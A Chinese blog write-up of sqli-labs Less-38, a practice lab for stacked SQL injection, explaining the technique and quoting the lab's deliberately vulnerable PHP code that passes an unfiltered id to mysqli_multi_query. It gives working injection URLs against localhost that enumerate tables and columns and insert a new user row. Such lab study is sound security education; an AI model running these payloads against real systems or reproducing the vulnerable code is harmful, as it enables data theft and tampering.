• 堆叠查询字符型注入get第38关


    堆叠注入定义:

    Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked  injection。

    堆叠注入原理

    堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
    原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如:select * from users where id =1;create table test like users;

    就同时执行以上两条命令,所以我们可以增删改查,只要权限够
    虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁

    代码分析:

    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);

    // connectivity
    //mysql connections for stacked query examples.
    $con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
    // Check connection
    if (mysqli_connect_errno($con1))
    {
    echo "Failed to connect to MySQL: " . mysqli_connect_error();
    }
    else
    {
    @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
    }

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    /* execute multi query */
    if (mysqli_multi_query($con1, $sql))
    {


    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
    if($row = mysqli_fetch_row($result))
    {
    echo '<font size = "5" color= "#00FF00">';
    printf("Your Username is : %s", $row[1]);
    echo "<br>";
    printf("Your Password is : %s", $row[2]);
    echo "<br>";
    echo "</font>";
    }
    // mysqli_free_result($result);
    }
    /* print divider */
    if (mysqli_more_results($con1))
    {
    //printf("-----------------\n");
    }
    //while (mysqli_next_result($con1));
    }
    else
    {
    echo '<font size="5" color= "#FFFF00">';
    print_r(mysqli_error($con1));
    echo "</font>";
    }
    /* close connection */
    mysqli_close($con1);

    对输入的参数没有进行严格的过滤,攻击者构造恶意的攻击语句造成了SQL注入攻击,存在回显点,可以进行联合注入,并且如果出现错误,会输出报错信息,这里也可以使用显错注入。
    还可以看到,这里的SQL语句查询使用的是mysqli_multi_query函数,mysqli_multi_query函数可以执行多条SQL语句


    本题思路是:首先找到堆叠注入点后进行获取数据库名,数据表最后是字段,根据字段插入新的数据(操作方法和之前常规操作是一样的)这里从获取数据表开始:如下

    获取:数据表

    http://127.0.0.1/sqli-labs-master/Less-38/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)--+

     获取表字段:

    http://127.0.0.1/sqli-labs-master/Less-38/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1)--+

     查询到表字段后使用堆叠注入插入新的数据:(插入新数据后,页面只返回第一条结果,不会返回后面的结果,可以去数据库查询)

    http://127.0.0.1/sqli-labs-master/Less-38/?id=1';insert into users(id,username,password) values(15,'lisi','bucuo') --+

     这样查也可以的

  • 相关阅读:
    Dbcp2抛出org.apache.commons.dbcp2.LifetimeExceededException
    DbUtils使用时抛出Cannot get a connection
    Spring注解【非单例】
    Exception in thread java.lang.IllegalThreadStateException
    eclipse选中变量,相同变量高亮。
    git push 403
    java虚拟机能并发的启动多少个线程
    产品的随想
    【转载】学习新东西的唯一方法
    Mysql错误问题记录
  • 原文地址:https://www.cnblogs.com/linyu51/p/16595533.html
Copyright © 2020-2023  润新知